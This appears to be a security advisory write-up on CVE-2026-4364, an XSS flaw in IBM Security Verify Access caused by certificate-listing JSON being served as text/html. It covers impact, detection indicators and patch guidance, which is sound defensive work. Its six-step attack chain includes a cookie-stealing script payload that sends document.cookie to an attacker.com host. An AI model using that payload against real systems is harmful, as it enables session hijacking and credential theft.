CVE-2026-4364: 
IBM Security Verify Access (formerly ISAM) vulnerability analysis and mitigation

CVE-2026-4364 is a Cross-Site Scripting (XSS) vulnerability affecting multiple IBM identity and access management products caused by a Content-Type mismatch in certificate listing responses. Affected products include IBM Verify Identity Access Container 11.0–11.0.2, IBM Security Verify Access Container 10.0–10.0.9.1, IBM Verify Identity Access 11.0–11.0.2, and IBM Security Verify Access 10.0–10.0.9.1. The vulnerability was published on April 1, 2026, with patches made available on the same date. It carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, IBM Support).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically triggered by a MIME type mismatch (CAPEC-209: XSS Using MIME Type Mismatch). When certificate listings are retrieved via a browser session, the server returns a JSON payload but incorrectly sets the HTTP response Content-Type header to text/html instead of application/json. Because browsers trust the declared MIME type, they may interpret the JSON content as executable HTML/JavaScript under certain conditions, enabling JavaScript injection. Exploitation requires low privileges (an authenticated session) and user interaction, and operates over the network (GitHub Advisory, IBM Support).

Successful exploitation allows a low-privileged attacker to inject malicious JavaScript that executes in the context of a victim user's browser session, impacting both confidentiality and integrity. An attacker could steal session tokens, access sensitive information displayed in the certificate management interface, or modify page content — potentially leading to session hijacking or credential theft. Availability is not impacted, and exploitation is constrained to scenarios where a victim user can be tricked into triggering the vulnerable certificate listing endpoint (GitHub Advisory, IBM Support).

1. Reconnaissance: Identify IBM Verify Identity Access or IBM Security Verify Access deployments (versions 10.0–10.0.9.1 or 11.0–11.0.2) accessible via a browser, using network scanning or OSINT.
2. Authenticate: Obtain low-privileged credentials to the target IBM identity management portal (e.g., a standard user account).
3. Trigger the vulnerable endpoint: Navigate to or craft a request to the certificate listing functionality within the application, which returns a JSON response with an incorrect Content-Type: text/html header.
4. Inject malicious payload: If the JSON response content can be influenced (e.g., through certificate metadata fields), embed a JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) within the data that will be rendered by the browser as HTML.
5. Social engineering: Trick a higher-privileged user (e.g., an administrator) into visiting the certificate listing page or a crafted URL that triggers the vulnerable response, causing the injected script to execute in their browser session.
6. Harvest results: Collect exfiltrated session tokens, cookies, or other sensitive data from the victim's browser session via the attacker-controlled endpoint (GitHub Advisory, IBM Support).

• Network: Unexpected outbound HTTP requests from a user's browser to external domains immediately after accessing certificate listing pages; unusual GET/POST requests to attacker-controlled infrastructure originating from IBM Verify/Security Verify Access sessions.
• Logs: Web server or application logs showing requests to certificate listing endpoints followed by anomalous redirects or external resource loads; Content-Type response headers logged as text/html for endpoints expected to return JSON.
• Browser/Session: Unexpected session termination or re-authentication prompts for users who recently accessed certificate management pages; reports of users being redirected to unfamiliar pages after interacting with certificate listings.
• Application: Unusual or unexpected values in certificate metadata fields (e.g., subject names, issuer fields) containing HTML or JavaScript syntax (<script>, javascript:, onerror=, etc.).

IBM has released patches addressing this vulnerability; affected users should update IBM Security Verify Access and IBM Security Verify Access Container to version 10.0.9.2 or later, and update IBM Verify Identity Access and IBM Verify Identity Access Container to the patched 11.0.x release (IBM Support). As interim mitigations, administrators should implement a strict Content Security Policy (CSP) to restrict unauthorized script execution, and consider restricting access to certificate listing functionality to trusted network segments or privileged users only. Users should be educated about phishing and social engineering risks that could be used to trigger the XSS payload.

Security news outlets GBHackers and Cybernoz covered the vulnerability as part of broader reporting on IBM Security Verify Access flaws, noting the potential for remote attackers to access sensitive data (GBHackers, Cybernoz). IBM published an official security bulletin acknowledging the issue and providing remediation guidance (IBM Support). Community reaction has been limited given the medium severity rating and absence of active exploitation.